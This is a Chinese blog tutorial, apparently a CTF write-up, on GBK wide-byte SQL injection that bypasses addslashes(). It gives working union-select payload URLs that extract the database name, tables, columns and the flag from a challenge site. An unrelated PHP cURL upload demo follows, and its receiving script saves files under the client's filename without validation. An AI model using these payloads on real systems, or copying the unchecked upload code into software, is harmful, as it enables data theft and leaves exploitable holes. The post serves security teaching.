宽字节注入

本文详细介绍了宽字节注入的原理,通过GBK编码与ASCII编码的差异,展示了如何利用PHP的addslashes()函数进行SQL注入。同时,给出了实际的注入例子,包括爆数据库、表名、字段和值的方法。此外,还讲解了PHP中使用cURL进行文件上传的实现,包括test.php和get_img.php的代码示例,以及CURL的工作流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

0x01 基础知识

宽字节注入原理:

0x02 相关函数

0x03 例题

南邮nctf-sql injection 3

爆数据库

爆表名

爆值

0x04 PHP curl 模拟文件上传

test.php:

get_img.php:

解释

实例

说明:


0x01 基础知识

窄、宽字节已经常见宽字节编码:

  • 当某字符的大小为一个字节时,称其字符为窄字节.

  • 当某字符的大小为两个字节时,称其字符为宽字节.

  • 所有英文默认占一个字节,汉字占两个字节

  • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

1. 字符、字符集
      字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

2. UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

3. 宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
 

宽字节注入原理:

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
 

0x02 相关函数

addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符是:单引号('),双引号("),反斜杠(\),NULL

3、实例

  <?php
     
    $ss=addslashes('aiyou"bu"cuoo');
     
    echo($ss);
     
    ?>
     
    运行结果:
     
    aiyou\"bu\"cuoo

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

mysql_escape_string() 转义一个字符串

为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。

但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。一般经典的使用%df

0x03 例题

南邮nctf-sql injection 3

https://chinalover.sinaapp.com/SQL-GBK/https://chinalover.sinaapp.com/SQL-GBK/
https://chinalover.sinaapp.com/SQL-GBK/?id=1

https://chinalover.sinaapp.com/SQL-GBK/?id=1'
发现被转义了

使用最经典的%df

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1%23


%df与/组成了一个汉字綅


爆数据库

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 
union select 1,database()%23

爆表名

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 
union select 1,group_concat(table_name) 
from information_schema.tables where table_schema=database()%23

爆字段
注意这里要将表名转化为16进制,并在前面加上0x
ctf4—>0x63746634

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 
union select 1,group_concat(column_name) 
from information_schema.columns where table_name=0x63746634%23


爆值

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,
(select flag from ctf4)%23

总结:
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入

0x04 PHP curl 模拟文件上传

test.php:

<?php
header('content-type:text/html;charset=utf8');

$ch = curl_init();

//加@符号curl就会把它当成是文件上传处理
$data = array('img'=>'@'. dirname(__FILE__).'/img/1.jpg');
curl_setopt($ch,CURLOPT_URL,"http://localhost:8088/curl/get_img.php");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result = curl_exec($ch);
curl_close($ch);
echo json_decode($result);

?>
​

加@符号curl就会把它当成是文件上传处理

get_img.php:

<?php
if($_FILES){
$filename = $_FILES['img']['name'];
$tmpname = $_FILES['img']['tmp_name'];
if(move_uploaded_file($tmpname,dirname(__FILE__).'/upload/'.$filename)){
echo json_encode('上传成功');
}else{
$data = json_encode($_FILES);
echo $data;
}
}

?>

当我访问test.php时将会显示“上传成功”,且upload文件夹下会生成1.jpg图片文件。

解释

CURL是一个非常强大的开源库,支持很多协议,包括HTTP、FTP、TELNET等,我们使用它来发送HTTP请求。它给我 们带来的好处是可以通过灵活的选项设置不同的HTTP协议参数,并且支持HTTPS。CURL可以根据URL前缀是“HTTP” 还是“HTTPS”自动选择是否加密发送内容。

使用CURL发送请求的基本流程

使用CURL的PHP扩展完成一个HTTP请求的发送一般有以下几个步骤:

  1. 初始化连接句柄;
  2. 设置CURL选项;
  3. 执行并获取结果;
  4. 释放VURL连接句柄。

实例

下面的程序片段是使用CURL发送HTTP的典型过程

1. 初始化

$ch = curl_init();

2. 设置选项,包括URL

curl_setopt($ch,CURLOPT_URL,"http://www.devdo.net");

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

curl_setopt($ch,CURLOPT_HEADER,0);

3. 执行并获取HTML文档内容

$output = curl_exec($ch);

if($output === FALSE ){

echo "CURL Error:".curl_error($ch);

}

4. 释放curl句柄

curl_close($ch);

说明:

PHP5.6之前的版本上传文件使用:@

Php5.6之后的版本使用new CURLFile()

这样其他服务器接收到数据之后,就可以移动了

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值